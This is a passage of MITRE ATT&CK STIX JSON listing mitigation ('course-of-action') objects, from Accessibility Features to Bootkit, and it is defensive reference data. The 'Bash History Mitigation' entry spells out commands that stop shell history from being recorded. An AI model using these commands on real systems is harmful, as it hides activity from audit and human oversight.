Process Token" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Accessibility Features Mitigation", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.735Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1015", + "url": "https://attack.mitre.org/mitigations/T1015" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "source_name": "TechNet RDP NLA" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "source_name": "TechNet RDP Gateway" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Account Discovery Mitigation", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.116Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1087", + "url": "https://attack.mitre.org/mitigations/T1087" + }, + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2019-06-13T16:07:21.233Z", + "id": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Account Use Policies", + "created": "2019-06-11T16:32:21.854Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1036", + "external_id": "M1036", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", + "x_mitre_version": "1.1", + "modified": "2020-05-29T16:34:40.344Z", + "created": "2019-06-06T16:39:58.291Z", + "name": "Active Directory Configuration", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1015", + "external_id": "M1015", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "description": "Use signatures or heuristics to detect malicious software.", + "x_mitre_version": "1.1", + "modified": "2020-03-31T13:07:15.684Z", + "created": "2019-06-11T17:08:33.055Z", + "name": "Antivirus/Antimalware", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1049", + "external_id": "M1049", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "AppCert DLLs Mitigation", + "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.701Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1182", + "url": "https://attack.mitre.org/mitigations/T1182" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "AppInit DLLs Mitigation", + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.250Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1103", + "url": "https://attack.mitre.org/mitigations/T1103" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "AppleScript Mitigation", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:31:55.409Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1155", + "external_id": "T1155", + "source_name": "mitre-attack" + }, + { + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/", + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "source_name": "applescript signing" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Application Deployment Software Mitigation", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:05:33.227Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1017", + "external_id": "T1017", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Application Developer Guidance", + "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_old_attack_id": "MOB-M1013", + "created": "2017-10-25T14:48:53.732Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1013", + "external_id": "M1013", + "source_name": "mitre-attack" + } + ], + "id": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", + "x_mitre_version": "1.1", + "modified": "2020-03-31T13:08:03.851Z", + "created": "2019-06-11T17:06:56.230Z", + "name": "Application Isolation and Sandboxing", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1048", + "external_id": "M1048", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Application Shimming Mitigation", + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:32:52.325Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1138", + "external_id": "T1138", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Application Window Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.664Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1010", + "url": "https://attack.mitre.org/mitigations/T1010" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Audio Capture Mitigation", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.317Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1123", + "url": "https://attack.mitre.org/mitigations/T1123" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", + "x_mitre_version": "1.1", + "modified": "2020-11-19T20:44:07.442Z", + "created": "2019-06-11T17:06:14.029Z", + "name": "Audit", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1047", + "external_id": "M1047", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Authentication Package Mitigation", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:34:11.298Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1131", + "external_id": "T1131", + "source_name": "mitre-attack" + }, + { + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "source_name": "Graeber 2014" + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. 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Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "BITS Jobs Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:08:16.317Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1197", + "external_id": "T1197", + "source_name": "mitre-attack" + }, + { + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "source_name": "Mondok Windows PiggyBack BITS May 2007" + }, + { + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "source_name": "Symantec BITS May 2007" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "source_name": "Microsoft BITS" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Bash History Mitigation", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:37:14.608Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1139", + "external_id": "T1139", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Behavior Prevention on Endpoint", + "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", + "x_mitre_version": "1.0", + "modified": "2019-06-11T16:43:05.712Z", + "id": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created": "2019-06-11T16:43:05.712Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1040", + "external_id": "M1040", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Binary Padding Mitigation", + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.699Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1009", + "url": "https://attack.mitre.org/mitigations/T1009" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-05-19T12:28:50.603Z", + "id": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Boot Integrity", + "created": "2019-06-11T17:02:36.984Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1046", + "external_id": "M1046", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Bootkit Mitigation", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "x_mitre_version": "1.0", + "modified": "2020-04-23T19:10:28.284Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1067", + "external_id": "T1067", + "source_name": "mitre-attack" + }, + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": 